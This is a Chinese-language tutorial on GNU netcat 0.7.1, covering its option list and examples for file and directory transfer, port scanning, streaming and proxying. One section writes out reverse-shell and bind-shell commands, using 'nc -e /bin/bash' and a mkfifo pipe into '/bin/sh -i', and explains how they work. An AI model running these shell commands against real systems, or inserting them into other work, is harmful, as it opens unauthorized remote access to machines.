下载地址:https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1-1.i386.rpm/
或者
https://sourceforge.net/projects/netcat/files/netcat/0.7.1/
找到适合自己的安装包源码包编译
官方帮助
GNU netcat 0.7.1, a rewrite of the famous networking tool.
Basic usages:
connect to somewhere: nc [options] hostname port [port] ...
listen for inbound: nc -l -p port [options] [hostname] [port] ...
tunnel to somewhere: nc -L hostname:port -p port [options]
Mandatory arguments to long options are mandatory for short options too.
Options:
-c, --close close connection on EOF from stdin
-e, --exec=PROGRAM program to exec after connect
-g, --gateway=LIST source-routing hop point[s], up to 8
-G, --pointer=NUM source-routing pointer: 4, 8, 12, ...
-h, --help display this help and exit
-i, --interval=SECS delay interval for lines sent, ports scanned
-l, --listen listen mode, for inbound connects
-L, --tunnel=ADDRESS:PORT forward local port to remote address
-n, --dont-resolve numeric-only IP addresses, no DNS
-o, --output=FILE output hexdump traffic to FILE (implies -x)
-p, --local-port=NUM local port number
-r, --randomize randomize local and remote ports
-s, --source=ADDRESS local source address (ip or hostname)
-t, --tcp TCP mode (default)
-T, --telnet answer using TELNET negotiation
-u, --udp UDP mode
-v, --verbose verbose (use twice to be more verbose)
-V, --version output version information and exit
-x, --hexdump hexdump incoming and outgoing traffic
-w, --wait=SECS timeout for connects and final net reads
-z, --zero zero-I/O mode (used for scanning)
Remote port number can also be specified as range. Example: '1-1024'
这个版本跟很多系统自带的版本不一样,普通系统没有-e等选项
不能直接通过 以下命令来监听端口了
nc -l 1234
需要用 -p 参数来指定本地的端口
nc -l -p 12345
跟现在网上的很多文章说的区别还是蛮大的,但是很奇怪就是没有找到新一点的教程.
-c <关闭链接> 从标准输出读取结束符号
-e <执行程序> 连接后执行程序
-g <网关> 设置路由器跃程通信网关,最丢哦可设置8个。
-G <指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p <通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s <来源位址> 设置本地主机送出数据包的IP地址。
-t 使用TCP链接
-T 使用TELNET协议
-u 使用UDP传输协议。
-v 详细输出--用两个-v可得到更详细的内容
-V 版本详细信息
-w <超时秒数> 设置等待连线的时间。
-x 输入转出业务
-z 使用0输入/输出模式,只在扫描通信端口时使用。
其中除了 -x 还没有弄明白是干啥的,其他的基本上都已经有示例了.
发送字符串至相应的主机端口,有些版本不支持 -c 参数,可以去掉
echo exit|nc -c 172.28.1.240 10356
文件传输
nc -l 1567 < file.txt
nc -n 172.31.100.7 1567 > file.txt
查看端口是否开放,用来监控数据库或者其他服务是否启动还是很有用的
nc -z -v -n 172.31.100.7 21-25
当然也可以直接单独用 -z 参数判断返回的值是否正常
nc -z 172.31.100.7 22
if [[ "$?" != "0" ]];then
echo "测试未通过!"
fi
目录传输
#服务端
tar -cvf - dir_name | nc -l 1567
#客户端
nc -n 172.31.100.7 1567 | tar -xvf -
流视频
#服务端
cat video.avi | nc -l 1567
#客户端
nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -
反向shell
#被控制端
nc 172.28.1.240 10010 -e /bin/bash
#被控制端不支持-e参数
mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc 172.28.1.240 10010 > /tmp/tmp_fifo
#控制端
nc -l -p 10010
正向shell
#被控制端(这种形式支持后台运行)
nc -l -p 1567 -e /bin/sh
#控制端
nc -n 172.28.1.243 1567
#被控制端如果不支持-e参数还可以使用(此种方法经尝试不能后台运行)
mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo
这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到netcat 运行的端口1567上。至此,我们已经把netcat的输出重定向到fifo文件中。
说明:
从网络收到的输入写到fifo文件中
cat 命令读取fifo文件并且其内容发送给sh命令
sh命令进程受到输入并把它写回到netcat。
netcat 通过网络发送输出到client
至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。
在控制端仅仅简单连接到服务器
作为代理
cat /tmp/tmp_fifo |nc 172.31.100.7 8080 | nc -l -p 7891 > /tmp/tmp_fifo
这样访问本地的7891端口就是访问对应的IP和端口了